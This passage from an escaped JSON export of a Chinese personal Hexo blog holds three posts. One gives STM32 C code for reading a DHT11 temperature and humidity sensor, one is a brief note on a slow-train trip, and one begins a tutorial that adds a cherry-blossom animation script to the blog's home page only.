punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11拉低后会再次拉高40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"DHT11-发送数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"DHT11 发送数据\"\u003e\u003c/a\u003eDHT11 发送数据\u003c/h5\u003e\u003cp\u003e总线为低电平,说明DHT11发送响应信号,DHT11发送响应信号后,再把总线拉高80us,准备发送数据。\u003c/p\u003e\u003cp\u003e每一bit数据都以50us低电平时隙 \u003cstrong\u003e开始\u003c/strong\u003e ,\u003cstrong\u003e高电平的长短\u003c/strong\u003e 定了数据位是0还是1。\u003c/p\u003e\u003cp\u003e如果读取响应信号为高电平,则DHT11没有响应,请检查线路是否连接正常。当最后一bit数据传送完毕后,DHT11拉低总线50us,随后总线由上拉电阻拉高进入空闲状态。\u003c/p\u003e\u003ch5 id=\"DHT11-发送-0\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81-0\" class=\"headerlink\" title=\"DHT11 发送 0\"\u003e\u003c/a\u003eDHT11 发送 0\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是26-28us就表示0。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-4.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"DHT11-发送1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%811\" class=\"headerlink\" title=\"DHT11 发送1\"\u003e\u003c/a\u003eDHT11 发送1\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是70us表示1。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-5.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"接收数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"接收数据\"\u003e\u003c/a\u003e接收数据\u003c/h5\u003e\u003cp\u003e主机只要读取等待50us低电平过去,然后再判断高电平长短就能收集数据了。\u003c/p\u003e\u003cp\u003e从DHT11读取一个位:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:1/0\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变为低电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变高电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待40us\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e读取8次为一个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:读到的数据\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e一共5个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//temp:温度值(范围:0~50°)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//humi:湿度值(范围:20%~90%)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回值:0,正常;1,读取失败\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Data\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Rst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//读取40位数据\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e)不过为了显示的更精确可以小数位也传过去。\u003c/p\u003e\u003ch3 id=\"完成\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%AE%8C%E6%88%90\" class=\"headerlink\" title=\"完成\"\u003e\u003c/a\u003e完成\u003c/h3\u003e\u003cp\u003e到此,完成了串口通信,OLED屏幕驱动,温湿度数据的获取。之后在OLED屏幕上的显示布局可以自己设计~ \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/54cd/#6063-x2F-6064-%E5%85%AC%E7%9B%8A%E6%85%A2%E7%81%AB%E8%BD%A6%E8%BF%90%E8%BD%AC\" class=\"headerlink\" title=\"6063/6064 公益慢火车运转\"\u003e\u003c/a\u003e6063/6064 公益慢火车运转\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e群山如森海,慢车即航船。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这是2022年8月初的事情了,那会正值暑假,因为防控原因我在学校呆到7月底才回家,顺便去运转了一下这趟公益慢火车。当时运转时这趟车还是非空调车,现在已经更换车底,成为空调车了。刚好赶在换车底前完成了这一趟。全程下来,还是很有意思的。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e不过人是个懒狗,拖到这会才想起来写。后面想起来再更新。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#Hexo-%E6%B3%A8%E5%85%A5%E5%99%A8%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e我博客首页飘的那个樱花看着花里胡哨,但是非常占用资源……而且因为是直接引进来的 \u003ccode\u003ejs\u003c/code\u003e ,所以每个页面都有这玩意,但是毕竟花里胡哨,也就对性能问题睁一只眼闭一只眼,刚才翻别人博客突然发现了注入器这个神奇玩意,于是问题解决了:只在首页显示樱花飘落的动画。\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://gishai.top/blog/posts/1563abd8.html\"\u003e基于hexo的fluid主题的魔改汇总 - GISHAI\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/advance/#hexo-%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81\"\u003e进阶用法 | Hexo Fluid 用户手册 (fluid-dev.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"具体实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5eba/#%E5%85%B7%E4%BD%93%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"具体实践\"\u003e\u003c/a\u003e具体实践\u003c/h2\u003e\u003cp\u003e在 \u003cstrong\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/\"\u003eHexo Fluid 用户手册\u003c/a\u003e\u003c/strong\u003e 中说的比较清楚了:注入器可以将 HTML 片段注入生成页面的 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 节点中,而且可以选择注入的页面类型(比如我首页的樱花我可以选择只注入首页)。\u003c/p\u003e\u003cp\u003e编写注入代码,需要在博客的根目录下创建 \u003ccode\u003escripts\u003c/code\u003e 文件夹,然后在里面任意命名创建一个 js 文件即可。\u003c/p\u003e\u003cp\u003e我创建了一个 \u003ccode\u003e/Hexo/scripts/yinghua.js\u003c/code\u003e 了一个文件,内容为:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003ehexo\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eextend\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einjector\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eregister\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;body_end\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026lt;script src=\u0026#34;//must.best/assets/js/flower.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;home\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" 